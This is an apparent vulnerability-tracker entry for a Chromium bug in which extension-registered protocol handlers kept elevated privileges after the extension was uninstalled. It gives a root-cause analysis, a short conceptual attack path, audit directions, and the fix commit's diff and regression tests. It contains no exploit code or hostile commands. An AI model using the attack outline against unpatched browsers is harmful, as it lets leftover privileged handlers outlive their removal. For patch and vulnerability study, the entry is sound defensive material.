Medium watch CVSS 6.5 chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
6.5
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactIncomplete cleanup in Browser
DescriptionIncomplete cleanup in Browser
ComponentBrowser
Bug ClassLogic Error
Action tierwatch — logic/policy bug — security-relevant, no memory-unsafety
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker511754574
Fix commit4fccde21b042 (chromium/src) +361/-42
CWECWE-459
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
CISA KEVNot listed
CreditedGoogle
Reported2026-05-10 (per vendor advisory)
Fix landed2026-08-15 (public git)
Disclosed2026-09-08
Patch gap24 days — fix public in source before the advisory

Background

Custom protocol handler
a custom_handlers::ProtocolHandler registered via navigator.registerProtocolHandler, stored in the ProtocolHandlerRegistry and persisted to prefs.
`kExtensionFeatures` security level
an elevated blink::ProtocolHandlerSecurityLevel that relaxes HTML-spec restrictions (allowing cross-origin target URLs and the ext+/chrome-extension schemes), intended only for handlers registered from a privileged extension page.
Extension id tagging
extension cleanup (uninstall/disable handling and ProtocolHandlersSanityCheck) removes a handler by matching its recorded extension_id; a handler with the elevated level but no id can never be matched for removal.
Orphaned handler
a kExtensionFeatures-level handler with no associated extension_id, so its elevated privileges survive the registering extension’s removal (and could persist in prefs from older builds).

Root Cause Analysis

Handlers registered from a privileged extension frame were created with the elevated kExtensionFeatures security level via GetProtocolHandlerSecurityLevel(requesting_frame) but were not tagged with the owning extension’s id, and extension cleanup keys entirely off extension_id. A kExtensionFeatures handler lacking an id therefore could never be removed by uninstall/disable handling or ProtocolHandlersSanityCheck, so its relaxed-privilege registration (cross-origin / ext+ / chrome-extension targets) outlived the extension that created it; builds predating id-recording could even have persisted such orphans to prefs.

The fix centralizes handler construction in a new CreateProtocolHandlerForFrame helper that, for a privileged extension frame, builds the handler with CreateExtensionProtocolHandler(protocol, url, extension->id()) (and Confirm()s it, since JS-API registrations go through the permission prompt), so runtime handlers are tied to their extension. ProtocolHandlersManager::OnExtensionUnloaded now removes every handler returned by GetExtensionProtocolHandlers(extension->id()) — covering runtime JS-registered handlers, not just manifest-declared ones. A new ProtocolHandler::IsAllowedExtensionHandler() returns false for a kExtensionFeatures handler that is not an extension handler, and ProtocolHandlerRegistry::InsertHandler (the funnel all addition paths pass through, including prefs load) now rejects such handlers, dropping pre-existing orphans on reload instead of re-registering them with elevated privileges.

Key insight
The core mistake was granting a handler the elevated kExtensionFeatures privilege level without recording the owning extension id that cleanup relies on, producing un-removable orphaned handlers; the fix tags extension-registered handlers with their extension id and rejects any kExtensionFeatures handler lacking one via IsAllowedExtensionHandler() enforced in InsertHandler.

Attack Path

  1. Register a privileged handler from an extension page From a privileged extension frame, script calls navigator.registerProtocolHandler, which pre-patch produced a kExtensionFeatures-level handler without an extension_id (or such an orphan was already persisted to prefs by an older build).
  2. Handler evades cleanup Because uninstall/disable handling and ProtocolHandlersSanityCheck match on extension_id, the untagged handler is never selected for removal.
  3. Extension is removed but privilege persists The registering extension is uninstalled/disabled, yet the orphaned handler — with relaxed cross-origin / ext+ / chrome-extension target permissions — remains registered and reloadable from prefs.
  4. Residual elevated handler remains active (inferred) — The surviving handler continues to handle its protocol with elevated privileges beyond the extension’s lifetime; the patch demonstrates the incomplete-cleanup/orphan persistence but not a specific further exploitation primitive.

Impact Assessment

An extension-registered protocol handler could retain its elevated kExtensionFeatures privileges (relaxed scheme/cross-origin restrictions) after the registering extension was uninstalled or disabled, and orphaned handlers from older builds could be reloaded from prefs — an incomplete-cleanup logic error in the browser process. The precondition is a handler registered at the elevated level without an associated extension id (via the JS API from a privileged extension page, or persisted by a predating build). The advisory classifies this as a LogicError (incomplete cleanup in Browser) and reports no in-the-wild exploitation; any escalation from the residual handler is (inferred).

Changed Functions

FunctionChangeNotes
for
extensions/browser/api/protocol_handlers/protocol_handlers_manager.cc
modified
if
extensions/browser/api/protocol_handlers/protocol_handlers_manager.cc
modified
RegisterProtocolHandlerExtensionBrowserTest
chrome/browser/custom_handlers/protocol_handler_registry_browsertest.cc
modified
IN_PROC_BROWSER_TEST_F
chrome/browser/custom_handlers/protocol_handler_registry_browsertest.cc
modified

Files Changed

  • components/custom_handlers/protocol_handler_registry_unittest.cc
  • chrome/browser/custom_handlers/chrome_protocol_handler_registry_unittest.cc
  • chrome/test/data/extensions/api_test/protocol_handler/test_registration.js
  • components/custom_handlers/protocol_handler.cc
  • chrome/browser/ui/browser_web_contents_delegate/browser_web_contents_delegate.cc
  • components/custom_handlers/protocol_handler_registry.cc
  • chrome/browser/custom_handlers/protocol_handler_registry_browsertest.cc
  • extensions/browser/api/protocol_handlers/protocol_handlers_manager.cc
  • components/custom_handlers/protocol_handler.h

Audit Directions

  • Privilege granted without an owner tag
    Look for places that raise an object’s security/trust level based on the requesting context but fail to record the owning principal that later cleanup/revocation depends on.
  • Cleanup keyed off a field that may be absent
    Audit uninstall/disable/sanity-check paths that match on an id or owner reference, and verify no code path can create a privileged object lacking that field (an un-removable orphan).
  • Prefs/persistence funnels
    Confirm that all addition paths, including deserialization from prefs, pass through a single validation point that re-enforces invariants, so stale privileged records from older builds are rejected on reload rather than re-registered.
From 4fccde21b042fd9b7487e630c08bda96a3407769 Mon Sep 17 00:00:00 2001
From: Javier Fernández García-Boente <jfernandez@igalia.com>
Date: Sat, 15 Aug 2026 09:26:48 -0700
Subject: [PATCH] Reland "Custom handlers: tie extension-registered handlers to their extension"

This is a reland of commit 6aaad9dc9d6d602d9415612ca5199e9fba068b8b

Original change's description:
> Custom handlers: tie extension-registered handlers to their extension
>
> A protocol handler at the kExtensionFeatures security level relaxes the
> HTML-spec restrictions (allowing cross-origin target URLs and the
> ext+/chrome-extension schemes). Extension cleanup -- uninstall/disable
> handling and ProtocolHandlersSanityCheck -- keys off the handler's
> extension_id, so a handler with the elevated level but no extension_id
> can never be removed: its privileges survive the registering extension's
> removal, and a build that predates recording the extension_id at
> registration time could have persisted such an orphan to prefs.
>
> In this CL we associate such handlers with the registering extension:
>
> - In Browser, centralize handler construction in a new
>   CreateProtocolHandlerForFrame() helper. For a privileged extension
>   frame it builds the handler with the owning extension's id.
>
> - In ProtocolHandlersManager::OnExtensionUnloaded, remove every handler
>   returned by GetExtensionProtocolHandlers(extension->id()) instead of
>   only the manifest-declared ones.
>
> Additionally, a new method ProtocolHandler::IsAllowedExtensionHandler()
> adds an extra security check which drops orphaned handlers on reload
> rather than re-registering them with their elevated privileges intact.
>
> Add a browser test, HandlerRemovedOnExtensionUninstall, that registers a
> handler from an extension page through the JS API and verifies it is
> associated with the extension and removed on uninstall.
>
> Add also a regression test covering the orphan rejection and the pref
> round-trip, and update the two scheme-validation tests that previously
> registered untagged kExtensionFeatures handlers to use realistic
> extension-tagged handlers.
>
> Bug: 511754574
> Change-Id: I404c00a7c69a06443c8ece8f75ebe9fbef065a48
> Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8103530
> Reviewed-by: Ted Choc <tedchoc@chromium.org>
> Reviewed-by: Antonio Sartori <antoniosartori@chromium.org>
> Reviewed-by: Solomon Kinard <solomonkinard@chromium.org>
> Commit-Queue: Javier Fernandez <jfernandez@igalia.com>
> Cr-Commit-Position: refs/heads/main@{#1678351}

Bug: 511754574
Change-Id: Ia77132d66c1b98e26fe986f9e574cd04a37e61df
Include-Ci-Only-Tests: chromium.mac:mac26-arm64-rel-tests|browser_tests
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8259429
Reviewed-by: Solomon Kinard <solomonkinard@chromium.org>
Commit-Queue: Javier Fernandez <jfernandez@igalia.com>
Reviewed-by: Antonio Sartori <antoniosartori@chromium.org>
Reviewed-by: Ted Choc <tedchoc@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1680194}
---
diff --git a/chrome/browser/ui/browser_web_contents_delegate/browser_web_contents_delegate.cc b/chrome/browser/ui/browser_web_contents_delegate/browser_web_contents_delegate.cc
index 3ce8fef..b11a2aa0e 100644
--- a/chrome/browser/ui/browser_web_contents_delegate/browser_web_contents_delegate.cc
+++ b/chrome/browser/ui/browser_web_contents_delegate/browser_web_contents_delegate.cc
@@ -1256,8 +1256,11 @@
   return blink::mojom::DisplayMode::kBrowser;
 }
 
-blink::ProtocolHandlerSecurityLevel
-BrowserWebContentsDelegate::GetProtocolHandlerSecurityLevel(
+namespace {
+
+// Returns the extension that owns `requesting_frame` when the frame is hosted
+// in a privileged extension process, or null otherwise.
+const extensions::Extension* GetExtensionForProtocolHandler(
     content::RenderFrameHost* requesting_frame) {
   content::BrowserContext* context = requesting_frame->GetBrowserContext();
   extensions::ProcessMap* process_map = extensions::ProcessMap::Get(context);
@@ -1267,9 +1270,41 @@
   if (owner_extension &&
       process_map->IsPrivilegedExtensionProcess(
           *owner_extension, requesting_frame->GetProcess()->GetID())) {
-    return blink::ProtocolHandlerSecurityLevel::kExtensionFeatures;
+    return owner_extension;
   }
-  return blink::ProtocolHandlerSecurityLevel::kStrict;
+  return nullptr;
+}
+
+// Creates a ProtocolHandler for a navigator.registerProtocolHandler request.
+// Handlers registered from a privileged extension page are tagged with the
+// owning extension's id so that they are removed when the extension is
+// disabled or uninstalled.
+custom_handlers::ProtocolHandler CreateProtocolHandlerForFrame(
+    content::RenderFrameHost* requesting_frame,
+    const std::string& protocol,
+    const GURL& url) {
+  if (const extensions::Extension* extension =
+          GetExtensionForProtocolHandler(requesting_frame)) {
+    custom_handlers::ProtocolHandler handler =
+        custom_handlers::ProtocolHandler::CreateExtensionProtocolHandler(
+            protocol, url, extension->id());
+    // Handlers registered via the JS API go through the permission prompt and
+    // so are confirmed at registration time, unlike manifest handlers.
+    handler.Confirm();
+    return handler;
+  }
+  return custom_handlers::ProtocolHandler::CreateProtocolHandler(
+      protocol, url, blink::ProtocolHandlerSecurityLevel::kStrict);
+}
+
+}  // namespace
+
+blink::ProtocolHandlerSecurityLevel
+BrowserWebContentsDelegate::GetProtocolHandlerSecurityLevel(
+    content::RenderFrameHost* requesting_frame) {
+  return GetExtensionForProtocolHandler(requesting_frame)
+             ? blink::ProtocolHandlerSecurityLevel::kExtensionFeatures
+             : blink::ProtocolHandlerSecurityLevel::kStrict;
 }
 
 void BrowserWebContentsDelegate::RegisterProtocolHandler(
@@ -1286,8 +1321,7 @@
       content::WebContents::FromRenderFrameHost(requesting_frame);
 
   custom_handlers::ProtocolHandler handler =
-      custom_handlers::ProtocolHandler::CreateProtocolHandler(
-          protocol, url, GetProtocolHandlerSecurityLevel(requesting_frame));
+      CreateProtocolHandlerForFrame(requesting_frame, protocol, url);
 
   // The parameters's normalization process defined in the spec has been already
   // applied in the WebContentImpl class, so at this point it shouldn't be
@@ -1354,8 +1388,7 @@
   }
 
   custom_handlers::ProtocolHandler handler =
-      custom_handlers::ProtocolHandler::CreateProtocolHandler(
-          protocol, url, GetProtocolHandlerSecurityLevel(requesting_frame));
+      CreateProtocolHandlerForFrame(requesting_frame, protocol, url);
 
   custom_handlers::ProtocolHandlerRegistry* registry =
       ProtocolHandlerRegistryFactory::GetForBrowserContext(context);
diff --git a/components/custom_handlers/protocol_handler.cc b/components/custom_handlers/protocol_handler.cc
index 92c2c6d..d167f35b 100644
--- a/components/custom_handlers/protocol_handler.cc
+++ b/components/custom_handlers/protocol_handler.cc
@@ -118,6 +118,24 @@
   return blink::IsValidCustomHandlerScheme(protocol_, security_level_);
 }
 
+bool ProtocolHandler::IsAllowedExtensionHandler() const {
+  // A handler that claims extension-level privileges (kExtensionFeatures, which
+  // relaxes the HTML-spec restrictions to allow e.g. cross-origin target URLs
+  // and the ext+/chrome-extension schemes) must be associated with the
+  // extension that registered it. Extension cleanup -- uninstall/disable
+  // handling and the periodic sanity check -- keys off the extension id, so a
+  // handler with the elevated level but no id can never be removed and its
+  // privileges would persist even after the extension is gone. This also drops
+  // orphaned handlers persisted by builds that predate recording the extension
+  // id at registration time. This check is layered on top of, and kept
+  // separate from, the HTML-spec validity enforced by IsValid().
+  if (security_level_ ==
+      blink::ProtocolHandlerSecurityLevel::kExtensionFeatures) {
+    return IsExtensionHandler();
+  }
+  return true;
+}
+
 bool ProtocolHandler::IsSameOrigin(const ProtocolHandler& handler) const {
   DCHECK_CURRENTLY_ON(BrowserThread::UI);
   return handler.url().DeprecatedGetOriginAsURL() ==
diff --git a/components/custom_handlers/protocol_handler.h b/components/custom_handlers/protocol_handler.h
index 5947ea9..5d2deb1 100644
--- a/components/custom_handlers/protocol_handler.h
+++ b/components/custom_handlers/protocol_handler.h
@@ -81,6 +81,12 @@
   // https://html.spec.whatwg.org/multipage/system-state.html#custom-handlers.
   bool IsValid() const;
 
+  // Extra security check, separate from the HTML-spec validity of IsValid():
+  // a handler using extension-level privileges (kExtensionFeatures) must be
+  // associated with an extension, otherwise extension cleanup can never remove
+  // it. Returns true for handlers that do not use extension privileges.
+  bool IsAllowedExtensionHandler() const;
+
   // Returns true if this handler's url has the same origin as the given one.
   bool IsSameOrigin(const ProtocolHandler& handler) const;
 
diff --git a/components/custom_handlers/protocol_handler_registry.cc b/components/custom_handlers/protocol_handler_registry.cc
index d65a3db..0c4dbc5 100644
--- a/components/custom_handlers/protocol_handler_registry.cc
+++ b/components/custom_handlers/protocol_handler_registry.cc
@@ -746,6 +746,15 @@
   if (!handler.IsValid())
     return false;
 
+  // Reject extension-privileged handlers that are not associated with an
+  // extension. All addition paths funnel through here (including handlers
+  // loaded from prefs), so enforcing it once drops orphaned handlers persisted
+  // by builds that predate recording the extension id, whose elevated
+  // privileges would otherwise survive the registering extension's removal.
+  if (!handler.IsAllowedExtensionHandler()) {
+    return false;
+  }
+
   // OTR invariant: this registry only stores handlers usable in incognito.
   // All addition paths funnel through here (including those loaded from prefs
   // via the OverlayUserPrefStore), so enforcing the invariant once here lets
diff --git a/extensions/browser/api/protocol_handlers/protocol_handlers_manager.cc b/extensions/browser/api/protocol_handlers/protocol_handlers_manager.cc
index 53baad04..fe6add81 100644
--- a/extensions/browser/api/protocol_handlers/protocol_handlers_manager.cc
+++ b/extensions/browser/api/protocol_handlers/protocol_handlers_manager.cc
@@ -48,21 +48,6 @@
   }
 }
 
-static void UnregisterHandlersIfNeeded(
-    const ExtensionId& id,
-    const ProtocolHandlersInfo& info,
-    custom_handlers::ProtocolHandlerRegistry& registry) {
-  for (const auto& handler_info : info) {
-    custom_handlers::ProtocolHandler handler =
-        custom_handlers::ProtocolHandler::CreateExtensionProtocolHandler(
-            handler_info.protocol, handler_info.url, id);
-
-    DCHECK(handler.IsValid());
-
-    registry.RemoveHandler(handler);
-  }
-}
-
 }  // namespace
 
 ProtocolHandlersManager::ProtocolHandlersManager(
@@ -124,12 +109,6 @@
     content::BrowserContext*,
     const Extension* extension,
     UnloadedExtensionReason reason) {
-  const ProtocolHandlersInfo* info =
-      ProtocolHandlers::GetProtocolHandlers(*extension);
-  if (!info) {
-    return;
-  }
-
   // Use browser_context_ for the same reason as OnExtensionLoaded.
   auto* registry = ExtensionsBrowserClient::Get()->GetProtocolHandlerRegistry(
       browser_context_);
@@ -139,7 +118,13 @@
     return;
   }
 
-  UnregisterHandlersIfNeeded(extension->id(), *info, *registry);
+  // Remove every handler associated with this extension. This covers handlers
+  // declared in the manifest as well as handlers registered at runtime via
+  // navigator.registerProtocolHandler from a privileged extension page.
+  for (const auto& handler :
+       registry->GetExtensionProtocolHandlers(extension->id())) {
+    registry->RemoveHandler(handler);
+  }
 }
 
 void ProtocolHandlersManager::ProtocolHandlersSanityCheck() {
diff --git a/chrome/browser/custom_handlers/chrome_protocol_handler_registry_unittest.cc b/chrome/browser/custom_handlers/chrome_protocol_handler_registry_unittest.cc
index b02bbb4..a802795 100644
--- a/chrome/browser/custom_handlers/chrome_protocol_handler_registry_unittest.cc
+++ b/chrome/browser/custom_handlers/chrome_protocol_handler_registry_unittest.cc
@@ -18,6 +18,8 @@
  protected:
   ChromeProtocolHandlerRegistryTest() = default;
 
+  // Extension handlers shouldn't use this method. See the comment in the
+  // definition of the ExtensionHandlerCanRegisterProtocol below.
   bool ProtocolHandlerCanRegisterProtocol(
       const std::string& protocol,
       const GURL& handler_url,
@@ -28,6 +30,18 @@
     return registry_->IsHandledProtocol(protocol);
   }
 
+  // Like above, but registers an extension handler (kExtensionFeatures plus the
+  // associated extension id). Extension handlers start unconfirmed, so success
+  // is checked via the handler list rather than IsHandledProtocol.
+  bool ExtensionHandlerCanRegisterProtocol(const std::string& protocol,
+                                           const GURL& handler_url,
+                                           const std::string& extension_id) {
+    registry_->OnAcceptRegisterProtocolHandler(
+        ProtocolHandler::CreateExtensionProtocolHandler(protocol, handler_url,
+                                                        extension_id));
+    return !registry_->GetHandlersFor(protocol).empty();
+  }
+
   void SetUp() override {
     profile_ = std::make_unique<TestingProfile>();
     CHECK(profile_->GetPrefs());
@@ -64,8 +78,10 @@
       "news", chrome_extension_handler_url,
       blink::ProtocolHandlerSecurityLevel::kUntrustedOrigins));
 
-  EXPECT_TRUE(ProtocolHandlerCanRegisterProtocol(
-      "news", chrome_extension_handler_url,
-      blink::ProtocolHandlerSecurityLevel::kExtensionFeatures));
+  // A chrome-extension:// target URL is only allowed at the kExtensionFeatures
+  // level, which is reserved for extension handlers, so register one via the
+  // extension factory (which supplies the required extension id).
+  EXPECT_TRUE(ExtensionHandlerCanRegisterProtocol(
+      "news", chrome_extension_handler_url, "extension_id"));
 }
 #endif  // BUILDFLAG(ENABLE_EXTENSIONS_CORE)
diff --git a/chrome/browser/custom_handlers/protocol_handler_registry_browsertest.cc b/chrome/browser/custom_handlers/protocol_handler_registry_browsertest.cc
index db29165..07bf17a8 100644
--- a/chrome/browser/custom_handlers/protocol_handler_registry_browsertest.cc
+++ b/chrome/browser/custom_handlers/protocol_handler_registry_browsertest.cc
@@ -286,8 +286,73 @@
   ASSERT_EQ(0u, registry->GetHandlersFor(url.GetScheme()).size());
 }
 
-using RegisterProtocolHandlerExtensionBrowserTest =
-    extensions::ExtensionBrowserTest;
+class RegisterProtocolHandlerExtensionBrowserTest
+    : public extensions::ExtensionBrowserTest {
+ public:
+  void SetUpOnMainThread() override {
+    extensions::ExtensionBrowserTest::SetUpOnMainThread();
+
+    // Disable OS-level registration, as
+    // ChromeRegisterProtocolHandlerBrowserTest does; see
+    // TestProtocolHandlerRegistryDelegate above. Without it these tests do a
+    // real OS round trip for every default they register, and its asynchronous
+    // reply clears the default handler again on the platforms where
+    // ShouldRemoveHandlersNotInOS() is true.
+    ProtocolHandlerRegistryFactory::GetForBrowserContext(
+        browser()->GetProfile())
+        ->SetDelegateForTesting(
+            std::make_unique<TestProtocolHandlerRegistryDelegate>());
+  }
+};
+
+// A handler registered from a privileged extension page via
+// navigator.registerProtocolHandler must be associated with the registering
+// extension and removed when that extension is uninstalled.
+IN_PROC_BROWSER_TEST_F(RegisterProtocolHandlerExtensionBrowserTest,
+                       HandlerRemovedOnExtensionUninstall) {
+#if BUILDFLAG(IS_MAC)
+  ASSERT_TRUE(test::RegisterAppWithLaunchServices());
+#endif
+  permissions::PermissionRequestManager::FromWebContents(
+      browser()->tab_strip_model()->GetActiveWebContents())
+      ->set_auto_response_for_test(
+          permissions::PermissionRequestManager::ACCEPT_ALL);
+
+  const extensions::Extension* extension =
+      LoadExtension(test_data_dir_.AppendASCII("protocol_handler"));
+  ASSERT_NE(nullptr, extension);
+  const std::string extension_id = extension->id();
+
+  ProtocolHandlerRegistry* registry =
+      ProtocolHandlerRegistryFactory::GetForBrowserContext(
+          browser()->GetProfile());
+
+  // Register a handler from the extension page via the JS API. The waiter must
+  // only cover the registration; see the comment in
+  // JsHandlerDoesNotOverrideNonExtensionDefault.
+  ASSERT_TRUE(ui_test_utils::NavigateToURL(
+      browser(), GURL("chrome-extension://" + extension_id + "/test.html")));
+  {
+    ProtocolHandlerChangeWaiter waiter(registry);
+    ASSERT_TRUE(content::ExecJs(
+        browser()->tab_strip_model()->GetActiveWebContents(),
+        "navigator.registerProtocolHandler('geo', 'test.html?%s', 'test');"));
+    waiter.Wait();
+  }
+  ASSERT_TRUE(registry->IsHandledProtocol("geo"));
+
+  // The handler must be associated with the registering extension so that it
+  // is visible to extension cleanup.
+  ProtocolHandlerRegistry::ProtocolHandlerList extension_handlers =
+      registry->GetExtensionProtocolHandlers(extension_id);
+  ASSERT_EQ(1u, extension_handlers.size());
+  EXPECT_EQ("geo", extension_handlers[0].protocol());
+
+  // Uninstalling the extension must remove the handler it registered.
+  UninstallExtension(extension_id);
+  EXPECT_FALSE(registry->IsHandledProtocol("geo"));
+  EXPECT_TRUE(registry->GetExtensionProtocolHandlers().empty());
+}
 
 IN_PROC_BROWSER_TEST_F(RegisterProtocolHandlerExtensionBrowserTest, Basic) {
 #if BUILDFLAG(IS_MAC)
@@ -305,13 +370,14 @@
   std::string handler_url =
       "chrome-extension://" + extension->id() + "/test.html";
 
-  // Register the handler.
+  // Register the handler. The waiter must only cover the registration; see the
+  // comment in JsHandlerDoesNotOverrideNonExtensionDefault.
+  ASSERT_TRUE(ui_test_utils::NavigateToURL(browser(), GURL(handler_url)));
   {
     ProtocolHandlerRegistry* registry =
         ProtocolHandlerRegistryFactory::GetForBrowserContext(
... (file diff truncated)
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/chrome/browser/custom_handlers/chrome_protocol_handler_registry_unittest.cc b/chrome/browser/custom_handlers/chrome_protocol_handler_registry_unittest.cc
index b02bbb4..a802795 100644
--- a/chrome/browser/custom_handlers/chrome_protocol_handler_registry_unittest.cc
+++ b/chrome/browser/custom_handlers/chrome_protocol_handler_registry_unittest.cc
@@ -18,6 +18,8 @@
  protected:
   ChromeProtocolHandlerRegistryTest() = default;
 
+  // Extension handlers shouldn't use this method. See the comment in the
+  // definition of the ExtensionHandlerCanRegisterProtocol below.
   bool ProtocolHandlerCanRegisterProtocol(
       const std::string& protocol,
       const GURL& handler_url,
@@ -28,6 +30,18 @@
     return registry_->IsHandledProtocol(protocol);
   }
 
+  // Like above, but registers an extension handler (kExtensionFeatures plus the
+  // associated extension id). Extension handlers start unconfirmed, so success
+  // is checked via the handler list rather than IsHandledProtocol.
+  bool ExtensionHandlerCanRegisterProtocol(const std::string& protocol,
+                                           const GURL& handler_url,
+                                           const std::string& extension_id) {
+    registry_->OnAcceptRegisterProtocolHandler(
+        ProtocolHandler::CreateExtensionProtocolHandler(protocol, handler_url,
+                                                        extension_id));
+    return !registry_->GetHandlersFor(protocol).empty();
+  }
+
   void SetUp() override {
     profile_ = std::make_unique<TestingProfile>();
     CHECK(profile_->GetPrefs());
@@ -64,8 +78,10 @@
       "news", chrome_extension_handler_url,
       blink::ProtocolHandlerSecurityLevel::kUntrustedOrigins));
 
-  EXPECT_TRUE(ProtocolHandlerCanRegisterProtocol(
-      "news", chrome_extension_handler_url,
-      blink::ProtocolHandlerSecurityLevel::kExtensionFeatures));
+  // A chrome-extension:// target URL is only allowed at the kExtensionFeatures
+  // level, which is reserved for extension handlers, so register one via the
+  // extension factory (which supplies the required extension id).
+  EXPECT_TRUE(ExtensionHandlerCanRegisterProtocol(
+      "news", chrome_extension_handler_url, "extension_id"));
 }
 #endif  // BUILDFLAG(ENABLE_EXTENSIONS_CORE)
diff --git a/chrome/browser/custom_handlers/protocol_handler_registry_browsertest.cc b/chrome/browser/custom_handlers/protocol_handler_registry_browsertest.cc
index db29165..07bf17a8 100644
--- a/chrome/browser/custom_handlers/protocol_handler_registry_browsertest.cc
+++ b/chrome/browser/custom_handlers/protocol_handler_registry_browsertest.cc
@@ -286,8 +286,73 @@
   ASSERT_EQ(0u, registry->GetHandlersFor(url.GetScheme()).size());
 }
 
-using RegisterProtocolHandlerExtensionBrowserTest =
-    extensions::ExtensionBrowserTest;
+class RegisterProtocolHandlerExtensionBrowserTest
+    : public extensions::ExtensionBrowserTest {
+ public:
+  void SetUpOnMainThread() override {
+    extensions::ExtensionBrowserTest::SetUpOnMainThread();
+
+    // Disable OS-level registration, as
+    // ChromeRegisterProtocolHandlerBrowserTest does; see
+    // TestProtocolHandlerRegistryDelegate above. Without it these tests do a
+    // real OS round trip for every default they register, and its asynchronous
+    // reply clears the default handler again on the platforms where
+    // ShouldRemoveHandlersNotInOS() is true.
+    ProtocolHandlerRegistryFactory::GetForBrowserContext(
+        browser()->GetProfile())
+        ->SetDelegateForTesting(
+            std::make_unique<TestProtocolHandlerRegistryDelegate>());
+  }
+};
+
+// A handler registered from a privileged extension page via
+// navigator.registerProtocolHandler must be associated with the registering
+// extension and removed when that extension is uninstalled.
+IN_PROC_BROWSER_TEST_F(RegisterProtocolHandlerExtensionBrowserTest,
+                       HandlerRemovedOnExtensionUninstall) {
+#if BUILDFLAG(IS_MAC)
+  ASSERT_TRUE(test::RegisterAppWithLaunchServices());
+#endif
+  permissions::PermissionRequestManager::FromWebContents(
+      browser()->tab_strip_model()->GetActiveWebContents())
+      ->set_auto_response_for_test(
+          permissions::PermissionRequestManager::ACCEPT_ALL);
+
+  const extensions::Extension* extension =
+      LoadExtension(test_data_dir_.AppendASCII("protocol_handler"));
+  ASSERT_NE(nullptr, extension);
+  const std::string extension_id = extension->id();
+
+  ProtocolHandlerRegistry* registry =
+      ProtocolHandlerRegistryFactory::GetForBrowserContext(
+          browser()->GetProfile());
+
+  // Register a handler from the extension page via the JS API. The waiter must
+  // only cover the registration; see the comment in
+  // JsHandlerDoesNotOverrideNonExtensionDefault.
+  ASSERT_TRUE(ui_test_utils::NavigateToURL(
+      browser(), GURL("chrome-extension://" + extension_id + "/test.html")));
+  {
+    ProtocolHandlerChangeWaiter waiter(registry);
+    ASSERT_TRUE(content::ExecJs(
+        browser()->tab_strip_model()->GetActiveWebContents(),
+        "navigator.registerProtocolHandler('geo', 'test.html?%s', 'test');"));
+    waiter.Wait();
+  }
+  ASSERT_TRUE(registry->IsHandledProtocol("geo"));
+
+  // The handler must be associated with the registering extension so that it
+  // is visible to extension cleanup.
+  ProtocolHandlerRegistry::ProtocolHandlerList extension_handlers =
+      registry->GetExtensionProtocolHandlers(extension_id);
+  ASSERT_EQ(1u, extension_handlers.size());
+  EXPECT_EQ("geo", extension_handlers[0].protocol());
+
+  // Uninstalling the extension must remove the handler it registered.
+  UninstallExtension(extension_id);
+  EXPECT_FALSE(registry->IsHandledProtocol("geo"));
+  EXPECT_TRUE(registry->GetExtensionProtocolHandlers().empty());
+}
 
 IN_PROC_BROWSER_TEST_F(RegisterProtocolHandlerExtensionBrowserTest, Basic) {
 #if BUILDFLAG(IS_MAC)
@@ -305,13 +370,14 @@
   std::string handler_url =
       "chrome-extension://" + extension->id() + "/test.html";
 
-  // Register the handler.
+  // Register the handler. The waiter must only cover the registration; see the
+  // comment in JsHandlerDoesNotOverrideNonExtensionDefault.
+  ASSERT_TRUE(ui_test_utils::NavigateToURL(browser(), GURL(handler_url)));
   {
     ProtocolHandlerRegistry* registry =
         ProtocolHandlerRegistryFactory::GetForBrowserContext(
             browser()->GetProfile());
     ProtocolHandlerChangeWaiter waiter(registry);
-    ASSERT_TRUE(ui_test_utils::NavigateToURL(browser(), GURL(handler_url)));
     ASSERT_TRUE(content::ExecJs(
         browser()->tab_strip_model()->GetActiveWebContents(),
         "navigator.registerProtocolHandler('geo', 'test.html?%s', 'test');"));
@@ -326,6 +392,108 @@
                                                    ->GetLastCommittedURL());
 }
 
+// A handler registered from an extension page via
+// navigator.registerProtocolHandler uses the elevated kExtension security
+// level, so it must not take the default away from a pre-existing
+// non-extension default handler.
+IN_PROC_BROWSER_TEST_F(RegisterProtocolHandlerExtensionBrowserTest,
+                       JsHandlerDoesNotOverrideNonExtensionDefault) {
+#if BUILDFLAG(IS_MAC)
+  ASSERT_TRUE(test::RegisterAppWithLaunchServices());
+#endif
+  permissions::PermissionRequestManager::FromWebContents(
+      browser()->tab_strip_model()->GetActiveWebContents())
+      ->set_auto_response_for_test(
+          permissions::PermissionRequestManager::ACCEPT_ALL);
+
+  ProtocolHandlerRegistry* registry =
+      ProtocolHandlerRegistryFactory::GetForBrowserContext(
+          browser()->GetProfile());
+
+  // A non-extension (e.g. WebAPI/PWA) handler is already the default for 'geo'.
+  ProtocolHandler non_extension_handler =
+      ProtocolHandler::CreateProtocolHandler(
+          "geo", GURL("https://non-extension.example/%s"));
+  registry->OnAcceptRegisterProtocolHandler(non_extension_handler);
+  ASSERT_TRUE(registry->IsDefault(non_extension_handler));
+
+  const extensions::Extension* extension =
+      LoadExtension(test_data_dir_.AppendASCII("protocol_handler"));
+  ASSERT_NE(nullptr, extension);
+
+  // Register a 'geo' handler from the extension page via the JS API. The waiter
+  // only covers the registration itself: it quits on the first registry change,
+  // so arming it before the navigation would let an unrelated change satisfy it
+  // and return before the handler is stored.
+  ASSERT_TRUE(ui_test_utils::NavigateToURL(
+      browser(), GURL("chrome-extension://" + extension->id() + "/test.html")));
+  {
+    ProtocolHandlerChangeWaiter waiter(registry);
+    ASSERT_TRUE(content::ExecJs(
+        browser()->tab_strip_model()->GetActiveWebContents(),
+        "navigator.registerProtocolHandler('geo', 'test.html?%s', 'test');"));
+    waiter.Wait();
+  }
+
+  // The extension handler is registered, but the non-extension handler must
+  // remain the default.
+  EXPECT_EQ(1u, registry->GetExtensionProtocolHandlers(extension->id()).size());
+  EXPECT_TRUE(registry->IsDefault(non_extension_handler));
+  EXPECT_FALSE(registry->GetHandlerFor("geo").IsExtensionHandler());
+}
+
+// When the pre-existing default is itself an extension handler, a handler
+// registered from an extension page via navigator.registerProtocolHandler may
+// become the default: the restriction is only against overriding a
+// non-extension handler.
